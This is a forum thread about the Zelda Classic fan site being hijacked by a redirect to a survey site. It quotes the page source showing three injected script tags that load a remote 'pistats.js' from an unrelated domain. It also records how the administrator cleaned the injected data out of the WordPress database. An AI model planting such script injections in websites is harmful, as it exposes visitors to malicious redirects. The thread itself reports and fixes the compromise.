    Seeing the ZC main-site getting affected by a redirect to an unrelated site.

    (If you don't count forum games, I literally haven't posted since about March of 2017 when I reported a common bug in ZC when working in non-Latin Alphabet computers)

    Today, I have seen that after going to "zeldaclassic.com" (Zelda Classic's official site) it was affected by a redirect to a survey site that is quite unrelated to Zelda (as in both the offical Nintendo games made since 1986, and this user-generated fan-game created in the 29th of December, 1999) in any form. Fortunately, The Armageddon Games Network forums and the Zelda Classic Wiki (which is developed from PureZC's now-extinct wiki) are not affected by this redirect.

    You can also tell me if this site works just as fine to you or not .

    Hmm, I checked it on a few browsers, but zeldaclassic.com works just fine for me. I'll ask everyone in the Discord to try it as well.

    EDIT: Ok, it seems that some people are being redirected, some aren't, and it's slow af for others.

    EDIT2: I think I found the issue. @War Lord I PMed you what we've found.

    I'm seeing it, too. Looks like this: https://www.wordfence.com/blog/2019/...veral-plugins/

    From zeldaclassic.com's source:
    Code:
    </div> <!-- .et_pb_text -->
    </div> <!-- .et_pb_column -->
    </div> <!-- .et_pb_row -->
    </div> <!-- .et_pb_section --><script src='https://js.wiilberedmodels.com/pistats.js?l=p&'   type=text/javascript language=javascript></script><script src='https://js.wiilberedmodels.com/pistats.js?l=p&'   type=text/javascript language=javascript></script><script src='https://js.wiilberedmodels.com/pistats.js?l=p&'   type=text/javascript language=javascript></script></p>
    </div>

    Yep, that's the one. I didn't notice at first because NoScript was blocking it. I've PMed War Lord.

    Looking into this.
    I don't think it's a hack or modified files as Wordfence would have caught it.
    Contacted the host regarding the .com cert error as well.

    I'll let you know what I find.

    [EDIT]
    Appears to actually be something that was embedded in each SQL post. I ran a query to get rid of the offending data.
    I have disabled one old plugin as well as updated everything else.
    I will continue to dig a bit over the weekend.
    Awaiting the host to respond about the .com Cert error.

    Sorry for the trouble guys, and thanks for the heads up.

    Thankfully, ZeldaClassic.com is now working for me.

    While I personally do use WordPress on my own website I do regularly check for updates and install them. I only use plugins from the official repository and keep them updated too.
